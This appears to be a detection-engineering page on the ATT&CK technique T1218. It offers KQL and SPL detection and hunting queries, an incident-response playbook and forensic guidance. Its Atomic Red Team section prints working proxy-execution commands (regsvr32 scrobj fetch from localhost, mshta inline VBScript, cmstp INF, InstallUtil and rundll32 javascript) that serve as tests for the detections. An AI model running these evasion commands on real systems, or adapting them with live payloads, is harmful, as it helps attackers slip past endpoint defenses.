T1218

System Binary Proxy Execution

Defense Evasion Last updated:

Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system. Several Microsoft-signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. Sub-techniques include abuse of mshta.exe, rundll32.exe, regsvr32.exe, msiexec.exe, cmstp.exe, installutil.exe, regsvcs.exe, regasm.exe, odbcconf.exe, verclsid.exe, mavinject.exe, control.exe (Control Panel), compiled HTML files (hh.exe), MMC snap-ins, Electron applications, and wuauclt.exe. On Linux, trusted binaries such as split may be abused similarly. Real-world usage includes Lazarus Group abusing wuauclt.exe to execute malicious DLLs and Volt Typhoon broadly leveraging LOLBins to maintain and expand network access.

What is T1218 System Binary Proxy Execution?

System Binary Proxy Execution (T1218) maps to the Defense Evasion tactic — the adversary is trying to avoid being detected in MITRE ATT&CK.

This page provides production-ready detection logic for System Binary Proxy Execution, covering the data sources and telemetry it touches: Process: Process Creation, Command: Command Execution, Microsoft Defender for Endpoint. The queries below are rated high severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Defense Evasion
Technique
T1218 System Binary Proxy Execution
Canonical reference
https://attack.mitre.org/techniques/T1218/
Microsoft Sentinel / Defender
kusto 
let LOLBins = dynamic([
  "mshta.exe", "rundll32.exe", "regsvr32.exe", "msiexec.exe",
  "cmstp.exe", "installutil.exe", "regsvcs.exe", "regasm.exe",
  "odbcconf.exe", "verclsid.exe", "mavinject.exe",
  "hh.exe", "wuauclt.exe", "mmc.exe", "xwizard.exe",
  "syncappvpublishingserver.exe", "appsyncpublishingserver.exe"
]);
let SuspiciousParents = dynamic([
  "winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe",
  "onenote.exe", "msaccess.exe", "mspub.exe", "visio.exe",
  "wscript.exe", "cscript.exe", "mshta.exe", "cmd.exe",
  "powershell.exe", "pwsh.exe", "explorer.exe"
]);
let SuspiciousNetworkLOLBins = dynamic([
  "mshta.exe", "regsvr32.exe", "rundll32.exe", "msiexec.exe", "cmstp.exe"
]);
DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ (LOLBins)
| extend IsOfficeParent = InitiatingProcessFileName in~ (SuspiciousParents)
| extend HasRemoteURL = ProcessCommandLine has_any ("http://", "https://", "ftp://", "\\\\")
| extend HasComScript = ProcessCommandLine has_any (".sct", ".hta", ".vbs", ".js", ".wsf", ".dll,", ".ocx")
| extend RegSvr32Bypass = (FileName =~ "regsvr32.exe" and ProcessCommandLine has_any ("/s", "/u", "/i:", "scrobj"))
| extend MshtaHta = (FileName =~ "mshta.exe" and ProcessCommandLine has_any (".hta", "javascript:", "vbscript:"))
| extend RunDll32Sus = (FileName =~ "rundll32.exe" and (ProcessCommandLine has_any ("javascript:", "shell32.dll", "advpack.dll", "ieadvpack.dll", "syssetup.dll") or ProcessCommandLine matches regex @"rundll32\.exe\s+[^,]+,(\w+)"))
| extend CMSTPInf = (FileName =~ "cmstp.exe" and ProcessCommandLine has_any ("/s", "/ns", ".inf"))
| extend InstallUtilBypass = (FileName =~ "installutil.exe" and ProcessCommandLine has_any ("/logfile=", "/LogToConsole=", "/U"))
| extend WuaucltDll = (FileName =~ "wuauclt.exe" and ProcessCommandLine has_any ("UpdateDeploymentProvider", "/UpdateDeploymentProvider"))
| extend OdbcConfRSP = (FileName =~ "odbcconf.exe" and ProcessCommandLine has_any ("/a", "-a", "regsvr", ".rsp"))
| extend SuspicionScore = toint(IsOfficeParent) + toint(HasRemoteURL) + toint(HasComScript)
    + toint(RegSvr32Bypass) + toint(MshtaHta) + toint(RunDll32Sus)
    + toint(CMSTPInf) + toint(InstallUtilBypass) + toint(WuaucltDll) + toint(OdbcConfRSP)
| where SuspicionScore > 0
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
         InitiatingProcessFileName, InitiatingProcessCommandLine,
         IsOfficeParent, HasRemoteURL, HasComScript, RegSvr32Bypass,
         MshtaHta, RunDll32Sus, CMSTPInf, InstallUtilBypass, WuaucltDll, OdbcConfRSP,
         SuspicionScore
| sort by SuspicionScore desc, Timestamp desc

Detects abuse of trusted Windows system binaries (LOLBins) for proxy execution, covering the full T1218 parent technique and its sub-techniques. Monitors DeviceProcessEvents for known Living Off The Land Binaries executing with suspicious command-line patterns including remote URL references, COM script payloads, Regsvr32 /i scrobj bypasses, MSHTA HTA/JavaScript execution, RunDll32 JavaScript, CMSTP INF sideloading, InstallUtil CLR bypass, wuauclt.exe DLL loading, and odbcconf RSP file execution. A suspicion score aggregates multiple indicators to reduce false positives.

high severity high confidence

Data Sources

Process: Process Creation Command: Command Execution Microsoft Defender for Endpoint

Required Tables

DeviceProcessEvents

False Positives

  • Legitimate software installers using msiexec.exe or installutil.exe during application deployment
  • Administrative scripts and IT management tools (SCCM, PDQ Deploy) invoking rundll32.exe or regsvr32.exe for component registration
  • Corporate HTA-based applications (legacy web apps, admin dashboards) legitimately executed via mshta.exe
  • VPN and security software installers using cmstp.exe to configure connection profiles during initial setup
  • Windows Update processes legitimately invoking wuauclt.exe as part of the update delivery mechanism

Sigma rule & cross-platform mapping

The detection logic for System Binary Proxy Execution (T1218) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource: 

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for T1218 Sigma rules on detection.fyi

Platform-specific guides for T1218

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)
Last updated: 2026-04-13 Research depth: deep
References (11)

Testing Methodology

Validate this detection against 5 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Regsvr32 SCT Scriptlet Remote Execution

    Expected signal: Sysmon Event ID 1: Process Create with Image=regsvr32.exe, CommandLine containing '/s /n /u /i:http://127.0.0.1:8080/payload.sct scrobj.dll'. Sysmon Event ID 3: Network connection attempt to 127.0.0.1:8080 (connection will fail). Sysmon Event ID 7: Image Load for scrobj.dll from C:\Windows\System32.

  2. Test 2MSHTA Inline VBScript Execution

    Expected signal: Sysmon Event ID 1: Process Create for mshta.exe with CommandLine containing 'vbscript:Execute'. Sysmon Event ID 1 child: cmd.exe spawned by mshta.exe. Sysmon Event ID 11: File creation of mshta_test.txt in %TEMP%.

  3. Test 3CMSTP INF File UAC Bypass and Execution

    Expected signal: Sysmon Event ID 1: Process Create for cmstp.exe with CommandLine containing '/s' and path to .inf file. Sysmon Event ID 11: File creation for test.inf and cmstp_test.txt. Sysmon Event ID 1 child: cmd.exe spawned by cmstp.exe executing the RunPreSetupCommands action.

  4. Test 4InstallUtil CLR Bypass via /logfile Flag

    Expected signal: Sysmon Event ID 1: Process Create for installutil.exe with CommandLine containing '/logfile=' and '/LogToConsole=false'. Sysmon Event ID 7: Image loads for CLR DLLs (clr.dll, mscorwks.dll). The command will fail against calc.exe (not a valid .NET assembly) but the process creation telemetry fires.

  5. Test 5Rundll32 JavaScript Execution

    Expected signal: Sysmon Event ID 1: Process Create for rundll32.exe with CommandLine containing 'javascript:' and 'mshtml'. Sysmon Event ID 7: Image Load for mshtml.dll into rundll32.exe. Sysmon Event ID 1 child: cmd.exe spawned. Sysmon Event ID 11: File creation for rundll32_test.txt.

Response Playbook

Triage

  1. Identify the exact LOLBin involved and map to the relevant sub-technique — each binary has distinct abuse patterns: Regsvr32 (.sct/scrobj), MSHTA (HTA/inline script), RunDll32 (DLL entrypoint or JavaScript), CMSTP (INF file), InstallUtil (/logfile CLR bypass), wuauclt (UpdateDeploymentProvider).
  2. Examine the full command line for indicators: remote URLs (http/https), UNC paths (\\server\share), script file extensions (.sct, .hta, .inf, .rsp, .vbs), and known bypass parameters (/s, /u, /i:, /logfile=). Capture the raw command line verbatim for the incident record.
  3. Identify the parent process — was the LOLBin spawned by an Office application (Word, Excel, Outlook), a browser, a scripting host (wscript, cscript), or a scheduled task? Office-spawned LOLBins are very high-confidence indicators of phishing-based initial access.
  4. Check the user context — is this a standard user, privileged account, or SYSTEM? LOLBins executing as SYSTEM or a service account with no corresponding change ticket are critical escalation triggers.
  5. Look for network connections from the LOLBin process (Sysmon Event ID 3, DeviceNetworkEvents) — any connections to public IPs, especially downloading additional payloads, confirm malicious use.
  6. Review file creation events (Sysmon Event ID 11, DeviceFileEvents) for payloads written to disk by the LOLBin or its child processes, particularly in Temp, AppData, or ProgramData directories.
  7. Check for child process creation — legitimate LOLBins rarely spawn cmd.exe, PowerShell, or other LOLBins. Any such parent-child chain is a strong indicator of exploitation.

Containment

  1. If active payload execution is confirmed: immediately isolate the endpoint using EDR network isolation to prevent C2 communication, lateral movement, or data exfiltration.
  2. If a remote payload URL is identified: block the domain and IP at web proxy, DNS sinkholes, and perimeter firewall within 30 minutes of detection.
  3. If the LOLBin downloaded and executed a secondary payload: hash and quarantine the dropped file via EDR; submit to sandboxing for behavioral analysis.
  4. If the user account has been compromised (e.g., macro in phishing email executed): disable the account, revoke all active SSO and cloud tokens, and reset credentials before restoring access.
  5. If Office macro-based delivery is confirmed: enforce macro blocking via GPO or Defender ASR rules (Block Office applications from creating child processes, Block Win32 API calls from Office macros) across the affected OU.
  6. Consider blocking execution of high-risk LOLBins (mshta.exe, cmstp.exe, installutil.exe) via AppLocker or WDAC policies if they are not required in your environment — most organizations have no legitimate use for these binaries on standard endpoints.

Evidence Collection

  1. Process Creation Telemetry — Sysmon Event ID 1 or Security Event ID 4688 (with command line auditing enabled via GPO: Audit Process Creation + Include command line in process creation events).
  2. Network Connection Telemetry — Sysmon Event ID 3 from the LOLBin process, capturing destination IP, port, and protocol. Correlate with DeviceNetworkEvents in MDE.
  3. File Creation Telemetry — Sysmon Event ID 11 for any files written by the LOLBin or its children, particularly payloads dropped to writable directories.
  4. DNS Resolution Telemetry — Sysmon Event ID 22 (DNS Query) to capture any domain lookups made by the LOLBin, which may reveal C2 infrastructure.
  5. Image Load Telemetry — Sysmon Event ID 7 for DLLs loaded by the LOLBin, particularly unsigned or recently created DLLs that may be the malicious payload.
  6. Prefetch Files — C:\Windows\Prefetch\<LOLBIN>.EXE-*.pf captures execution timestamps and files loaded. For example, RUNDLL32.EXE-*.pf will list the DLL it loaded.
  7. Browser History and Downloads — if mshta.exe or hh.exe was invoked, check browser history and download directories for the originating HTA or CHM file.
  8. Office Document Artifacts — if an Office application spawned the LOLBin, preserve the originating document from the user's recent files, email attachments, or download directory for sandbox detonation.
  9. Windows Event Log: Microsoft-Windows-AppLocker/EXE and DLL (Event IDs 8002-8006) — if AppLocker is deployed, may have logged or blocked the LOLBin execution.
  10. MDE Device Timeline — review the 72-hour device timeline around the alert time for full activity context including file drops, registry changes, and network connections.

Escalation Criteria

  • ! LOLBin spawned directly by a Microsoft Office application, browser, or scripting host — this is the canonical phishing/initial access chain and should always be escalated immediately.
  • ! LOLBin making outbound connections to public IPs or downloading a secondary payload from an external URL — active C2 or multi-stage execution in progress.
  • ! Regsvr32 or MSHTA loading a payload from a remote UNC path or public URL (T1218.010 or T1218.005 confirmed exploitation) — indicates a live attack, not a misconfiguration.
  • ! wuauclt.exe invoked with /UpdateDeploymentProvider and a DLL path not under C:\Windows\SoftwareDistribution — Lazarus Group TTP, escalate to threat intelligence team.
  • ! LOLBin spawning cmd.exe, PowerShell, or additional LOLBins as child processes — multi-stage proxy execution chain indicating post-exploitation activity.
  • ! InstallUtil.exe or Regasm.exe executing from a user-writable directory or Temp — CLR-based bypass with attacker-controlled payload, high confidence malicious.
  • ! Same LOLBin abuse pattern detected across multiple endpoints within a short time window — potential automated propagation or worm-like behavior.

Investigation Guide

Forensic Artifacts

  • > Prefetch Files — C:\Windows\Prefetch\RUNDLL32.EXE-*.pf, MSHTA.EXE-*.pf, REGSVR32.EXE-*.pf etc. Contain execution timestamps, run count, and referenced file paths including loaded DLLs or scripts. Parse with tools like WinPrefetchView or PECmd.
  • > Shimcache (AppCompatCache) — HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache. Records executable path and last modified time for binaries invoked, including LOLBins and their payload DLLs.
  • > Amcache.hve — C:\Windows\AppCompat\Programs\Amcache.hve. Contains SHA1 hashes of recently executed executables and loaded DLLs, providing evidence of payload files even if deleted.
  • > Windows Event Log: Security (Event ID 4688) — Process creation with command line if audit policy is configured. Captures LOLBin invocations with full argument strings.
  • > Windows Event Log: Microsoft-Windows-Sysmon/Operational — Event IDs 1 (process create), 3 (network), 7 (image load), 11 (file create), 22 (DNS). Most complete source for LOLBin investigation.
  • > MRU Registry Keys — HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU and RecentDocs. May contain evidence of manually triggered HTA or CHM files.
  • > LNK Files — %APPDATA%\Microsoft\Windows\Recent\*.lnk. If a shortcut was used to invoke the LOLBin, the LNK will contain the target path and arguments.
  • > NTFS $MFT and $LogFile — For deleted payload files dropped by LOLBins, MFT entries and journal records preserve filename, timestamps, and size even after deletion.
  • > Network Forensics — DNS query logs and proxy logs for domains contacted by the LOLBin. SCT files are often hosted on attacker-controlled infrastructure.
  • > COM Object Registry — HKCR\CLSID\{...} entries for VERCLSID and COM-based attacks. Attacker may have registered a malicious COM object that persists in the registry.

Tuning Guidance

Start by inventorying which LOLBins are legitimately used in your environment. In most organizations, cmstp.exe and installutil.exe have no legitimate use on standard user endpoints — block or alert on any execution. Mshta.exe is rarely needed outside legacy enterprise web applications; consider blocking it via AppLocker or WDAC on modern endpoints. For rundll32.exe and regsvr32.exe (which are heavily used by legitimate software), focus detection on the suspicious argument patterns rather than all execution. Build an allowlist of known-good command lines with exact MD5/SHA256 hashes of expected DLL arguments where possible. For environments with software distribution tools (SCCM, Intune, PDQ), identify the exact parent process and command-line patterns used for legitimate deployments and exclude those specific combinations. Consider deploying Microsoft Defender Attack Surface Reduction (ASR) rules in block mode for the highest-confidence rules: 'Block Office applications from creating child processes' (D4F940AB-401B-4EFC-AADC-AD5F3C50688A) and 'Block execution of potentially obfuscated scripts' (5BEB7EFE-FD9A-4556-801D-275E5FFC04CC). Enable Script Block Logging for additional coverage. On Linux, monitor for split and other GTFO binaries (python, perl, ruby, lua, etc.) being used with pipe chains that execute arbitrary commands. For wuauclt.exe specifically, alert on any invocation with /UpdateDeploymentProvider that references a DLL outside C:\Windows\SoftwareDistribution — there is virtually no legitimate use case for this pattern outside of the Lazarus Group TTP.

Hunting Queries

Hunt for LOLBins loading remote content over HTTP/HTTPS or UNC paths. This identifies network-based payload staging where the LOLBin directly fetches the malicious script or DLL rather than from a local file — a strong indicator of live exploitation rather than misconfiguration.

Hunting — KQL
kql 
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("regsvr32.exe", "mshta.exe", "rundll32.exe", "cmstp.exe", "wuauclt.exe")
| where ProcessCommandLine has_any ("http://", "https://", "\\\\")
| summarize Count=count(), Devices=dcount(DeviceName), UniqueCommands=dcount(ProcessCommandLine),
            Sample=any(ProcessCommandLine), Earliest=min(Timestamp)
  by FileName, AccountName
| sort by Count desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  (Image="*\\regsvr32.exe" OR Image="*\\mshta.exe" OR Image="*\\rundll32.exe"
   OR Image="*\\cmstp.exe" OR Image="*\\wuauclt.exe")
  (CommandLine="*http://*" OR CommandLine="*https://*" OR CommandLine="*\\\\*")
| eval LOLBin=mvindex(split(Image, "\\"), -1)
| stats count as Count, dc(host) as Devices, dc(CommandLine) as UniqueCommands,
        earliest(_time) as Earliest, values(CommandLine) as SampleCmds by LOLBin, User
| sort - Count

Hunt for Office applications (Word, Excel, Outlook, etc.) directly spawning LOLBins. This parent-child relationship is the canonical phishing chain: malicious macro or OLE object in an Office document triggers proxy execution to evade macro-blocking controls. Any result here is high-fidelity and should be reviewed.

Hunting — KQL
kql 
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ (
    "winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe",
    "onenote.exe", "msaccess.exe", "mspub.exe"
  )
| where FileName in~ (
    "mshta.exe", "rundll32.exe", "regsvr32.exe", "cmstp.exe",
    "installutil.exe", "regsvcs.exe", "regasm.exe", "wscript.exe",
    "cscript.exe", "certutil.exe", "bitsadmin.exe", "odbcconf.exe"
  )
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
         InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  (ParentImage="*\\winword.exe" OR ParentImage="*\\excel.exe" OR ParentImage="*\\powerpnt.exe"
   OR ParentImage="*\\outlook.exe" OR ParentImage="*\\onenote.exe" OR ParentImage="*\\msaccess.exe")
  (Image="*\\mshta.exe" OR Image="*\\rundll32.exe" OR Image="*\\regsvr32.exe"
   OR Image="*\\cmstp.exe" OR Image="*\\installutil.exe" OR Image="*\\regsvcs.exe"
   OR Image="*\\regasm.exe" OR Image="*\\wscript.exe" OR Image="*\\cscript.exe"
   OR Image="*\\certutil.exe" OR Image="*\\odbcconf.exe")
| eval OfficeApp=mvindex(split(ParentImage, "\\"), -1)
| eval LOLBin=mvindex(split(Image, "\\"), -1)
| table _time, host, User, OfficeApp, LOLBin, CommandLine, ParentCommandLine
| sort - _time

Hunt for LOLBins executing from non-standard filesystem paths (outside C:\Windows and Program Files). Adversaries sometimes copy LOLBins to user-writable directories to evade detection rules that trust the canonical binary location, or to use a different binary with the same name. Any LOLBin executing from Temp, AppData, Downloads, or unusual paths is highly suspicious.

Hunting — KQL
kql 
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ (
    "mshta.exe", "rundll32.exe", "regsvr32.exe", "cmstp.exe",
    "installutil.exe", "regsvcs.exe", "regasm.exe", "odbcconf.exe", "wuauclt.exe"
  )
| where FolderPath !startswith "C:\\Windows\\"
    and FolderPath !startswith "C:\\Program Files\\"
    and FolderPath !startswith "C:\\Program Files (x86)\\"
| project Timestamp, DeviceName, AccountName, FileName, FolderPath,
         ProcessCommandLine, InitiatingProcessFileName
| sort by Timestamp desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  (Image="*\\mshta.exe" OR Image="*\\rundll32.exe" OR Image="*\\regsvr32.exe"
   OR Image="*\\installutil.exe" OR Image="*\\regsvcs.exe" OR Image="*\\regasm.exe"
   OR Image="*\\odbcconf.exe" OR Image="*\\wuauclt.exe")
  NOT (Image="C:\\Windows\\*" OR Image="C:\\Program Files\\*" OR Image="C:\\Program Files (x86)\\*")
| eval LOLBin=mvindex(split(Image, "\\"), -1)
| table _time, host, User, LOLBin, Image, CommandLine, ParentImage
| sort - _time

Atomic Red Team Tests

Test 1 Regsvr32 SCT Scriptlet Remote Execution
windows

Uses regsvr32.exe with the /s /n /u /i: flags to load a remote SCT (scriptlet) file via scrobj.dll — the 'Squiblydoo' technique. This bypasses AppLocker and older endpoint security tools that trust signed Microsoft binaries. The URL points to localhost to keep this test safe; no actual remote payload is fetched.

Command

powershell 
regsvr32.exe /s /n /u /i:http://127.0.0.1:8080/payload.sct scrobj.dll

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=regsvr32.exe, CommandLine containing '/s /n /u /i:http://127.0.0.1:8080/payload.sct scrobj.dll'. Sysmon Event ID 3: Network connection attempt to 127.0.0.1:8080 (connection will fail). Sysmon Event ID 7: Image Load for scrobj.dll from C:\Windows\System32.

Expected Detection

Alert fires on RegSvr32Bypass=true (HasComScript and HasRemoteURL both also true). SuspicionScore >= 3. KQL: RegSvr32Bypass=true. SPL: RegSvr32Bypass=1, SuspicionScore >= 1.

Test 2 MSHTA Inline VBScript Execution
windows

Uses mshta.exe to execute an inline VBScript payload directly from the command line — no HTA file needed. This is a common technique used by phishing lures and macro-based droppers to execute code while bypassing script blocking controls that monitor .vbs or .js files. The payload here is benign (spawns a message box).

Command

powershell 
mshta.exe vbscript:Execute("CreateObject(""WScript.Shell"").Run ""cmd.exe /c whoami > %TEMP%\mshta_test.txt"",0:close")

Cleanup

powershell 
del %TEMP%\mshta_test.txt 2>nul

Expected Telemetry

Sysmon Event ID 1: Process Create for mshta.exe with CommandLine containing 'vbscript:Execute'. Sysmon Event ID 1 child: cmd.exe spawned by mshta.exe. Sysmon Event ID 11: File creation of mshta_test.txt in %TEMP%.

Expected Detection

Alert fires on MshtaSus=true (MshtaHta in KQL, MshtaSus in SPL, CommandLine has 'vbscript:'). Also triggers IsOfficeParent if invoked via macro. SuspicionScore >= 1.

Test 3 CMSTP INF File UAC Bypass and Execution
windows

Creates a malicious INF file and invokes cmstp.exe with /s (silent) to automatically execute the RunPreSetupCommandsSection. CMSTP is a signed Microsoft binary used to install Connection Manager profiles. Adversaries abuse it for UAC bypass and to execute arbitrary commands without triggering standard process creation alerts. The command used here is benign (whoami).

Command

powershell 
echo [version] > %TEMP%\test.inf && echo Signature=$chicago$ >> %TEMP%\test.inf && echo [DefaultInstall_SingleUser] >> %TEMP%\test.inf && echo RunPreSetupCommandsSection=RunCommandSection >> %TEMP%\test.inf && echo [RunCommandSection] >> %TEMP%\test.inf && echo 7=cmd.exe /c whoami > %TEMP%\cmstp_test.txt >> %TEMP%\test.inf && echo 7=cmd.exe /c whoami > %TEMP%\cmstp_test.txt >> %TEMP%\test.inf && cmstp.exe /s %TEMP%\test.inf

Cleanup

powershell 
del %TEMP%\test.inf %TEMP%\cmstp_test.txt 2>nul

Expected Telemetry

Sysmon Event ID 1: Process Create for cmstp.exe with CommandLine containing '/s' and path to .inf file. Sysmon Event ID 11: File creation for test.inf and cmstp_test.txt. Sysmon Event ID 1 child: cmd.exe spawned by cmstp.exe executing the RunPreSetupCommands action.

Expected Detection

Alert fires on CMSTPInf=true (CommandLine has '/s' and '.inf'). SuspicionScore >= 1. KQL: CMSTPInf=true. SPL: CMSTPInf=1.

Test 4 InstallUtil CLR Bypass via /logfile Flag
windows

Invokes installutil.exe with /logfile= /LogToConsole=false /U flags to execute a .NET assembly without running through the standard assembly load checks. This technique loads the assembly's Uninstall() method via the CLR bypass, commonly used to execute C# payloads compiled to a .dll or .exe. This test uses a harmless inline approach to confirm detection without a real payload.

Command

powershell 
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Windows\System32\calc.exe

Expected Telemetry

Sysmon Event ID 1: Process Create for installutil.exe with CommandLine containing '/logfile=' and '/LogToConsole=false'. Sysmon Event ID 7: Image loads for CLR DLLs (clr.dll, mscorwks.dll). The command will fail against calc.exe (not a valid .NET assembly) but the process creation telemetry fires.

Expected Detection

Alert fires on InstallUtilBypass=true (CommandLine has '/logfile=' and '/LogToConsole='). SuspicionScore >= 1. KQL: InstallUtilBypass=true. SPL: InstallUtilBypass=1.

Test 5 Rundll32 JavaScript Execution
windows

Uses rundll32.exe with the javascript: URI handler to execute inline JavaScript code — a technique that bypasses controls watching for wscript.exe or cscript.exe. This approach was popularized by multiple commodity malware families and is effective against environments that block scripting host processes but permit rundll32.exe. The payload here is benign.

Command

powershell 
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd.exe /c whoami > %TEMP%\rundll32_test.txt",0,true);

Cleanup

powershell 
del %TEMP%\rundll32_test.txt 2>nul

Expected Telemetry

Sysmon Event ID 1: Process Create for rundll32.exe with CommandLine containing 'javascript:' and 'mshtml'. Sysmon Event ID 7: Image Load for mshtml.dll into rundll32.exe. Sysmon Event ID 1 child: cmd.exe spawned. Sysmon Event ID 11: File creation for rundll32_test.txt.

Expected Detection

Alert fires on RunDll32Sus=true (CommandLine has 'javascript:' and 'mshtml'). SuspicionScore >= 1. KQL: RunDll32Sus=true. SPL: RunDll32Sus=1.

Related Detections

Tactic Hub

TA0005Defense Evasion

Sub-techniques (14)

Related Techniques

T1218.001Compiled HTML FileT1218.002Control PanelT1218.003CMSTPT1218.004InstallUtilT1218.005MshtaT1218.007MsiexecT1218.008OdbcconfT1218.009Regsvcs/RegasmT1218.010Regsvr32T1218.011Rundll32T1218.012VerclsidT1218.013MavinjectT1218.014MMCT1218.015Electron ApplicationsT1059.001PowerShellT1059.003Windows Command ShellT1105Ingress Tool TransferT1566.001Spearphishing AttachmentT1053.005Scheduled TaskT1027Obfuscated Files or Information

Same Tactic: Defense Evasion

Popular Detections